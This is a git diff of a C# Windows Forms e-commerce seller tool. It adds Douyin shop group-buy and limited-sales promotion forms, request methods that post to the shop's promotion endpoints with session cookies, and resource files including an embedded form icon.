chkSelectAll.CheckedChanged -= chkSelectAll_CheckedChanged; + if (dgvProduct.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + } + } + + private void dgvProduct_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var row = dgvProduct.Rows[e.RowIndex]; + if (MouseButtons == MouseButtons.Left) + { + var columnName = dgvProduct.Columns[e.ColumnIndex].Name; + if (isSelecting) + { + dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value = isCheck; + + chkSelectAll.CheckedChanged -= chkSelectAll_CheckedChanged; + if (dgvProduct.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + } + } + + private void dgvProduct_CellMouseUp(object sender, DataGridViewCellMouseEventArgs e) + { + isSelecting = false; + } + + //根据id获取sku + public string GetSkusByProductIds(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/batchGetSkuByProductIds?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string referer = "https://fxg.jinritemai.com/market/center/group/create?type=1"; + string result = request.Request_PostByBigLength(reqUrl, referer, dicts, cookies, postData); + return result; + } + + public string checkGroupBuyGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/checkGroupBuy?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string referer = "https://fxg.jinritemai.com/market/center/group/create?type=1"; + string result = request.Request_PostByBigLength(reqUrl, referer, dicts, cookies, postData); + return result; + } + + public string createGroupBuyGoods(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/byteshop/promotion/createGroupBuy?_bid=ecom_market_shop&appid=1&_=" + _timeSpan + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/limitsales/detail?refer=new", dicts, cookies, postData); + return result; + } + + public void ClearData() + { + this.dgvProduct.Rows.Clear(); + this.productList.Clear(); + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.resx new file mode 100644 index 0000000..d6ded80 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyShopForm.resx @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.Designer.cs new file mode 100644 index 0000000..ce442b0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.Designer.cs @@ -0,0 +1,131 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class LimitedSalesActivityNameForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LimitedSalesActivityNameForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.textBoxX1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.labelX1); + this.panel2.Controls.Add(this.textBoxX1); + this.panel2.Controls.Add(this.btnSave); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(383, 416); + this.panel2.TabIndex = 1; + // + // labelX1 + // + this.labelX1.AutoSize = true; + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.ForeColor = System.Drawing.Color.Gray; + this.labelX1.Location = new System.Drawing.Point(16, 11); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(303, 18); + this.labelX1.TabIndex = 462; + this.labelX1.Text = "请输入自定义活动名称,一行一个(长度1-10个字符):"; + // + // textBoxX1 + // + this.textBoxX1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.textBoxX1.Border.Class = "TextBoxBorder"; + this.textBoxX1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxX1.Location = new System.Drawing.Point(16, 35); + this.textBoxX1.Multiline = true; + this.textBoxX1.Name = "textBoxX1"; + this.textBoxX1.PreventEnterBeep = true; + this.textBoxX1.Size = new System.Drawing.Size(351, 338); + this.textBoxX1.TabIndex = 461; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(309, 379); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(58, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 460; + this.btnSave.Text = "保存"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // LimitedSalesActivityNameForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(385, 450); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LimitedSalesActivityNameForm"; + this.Text = "自定义限时限量购活动名称"; + this.TitleText = "自定义限时限量购活动名称"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxX1; + private DevComponents.DotNetBar.PanelEx btnSave; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.cs new file mode 100644 index 0000000..b9d2e5c --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.cs @@ -0,0 +1,36 @@ +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class LimitedSalesActivityNameForm : LRBaseForm + { + public LimitedSalesActivityNameForm() + { + InitializeComponent(); + + this.Load += GroupBuyCustomActivityNameForm_Load; + } + + private void GroupBuyCustomActivityNameForm_Load(object sender, EventArgs e) + { + this.textBoxX1.Text = string.Join("\r\n", SeckillingAndLimitedSalesForm.CustomActivityNames) + "\r\n"; + } + + private void btnSave_Click(object sender, EventArgs e) + { + SeckillingAndLimitedSalesForm.CustomActivityNames = this.textBoxX1.Text.Trim().Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("limited_sales_custom_names", SeckillingAndLimitedSalesForm.CustomActivityNames); + this.Close(); + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.resx new file mode 100644 index 0000000..e330b8a --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/LimitedSalesActivityNameForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + 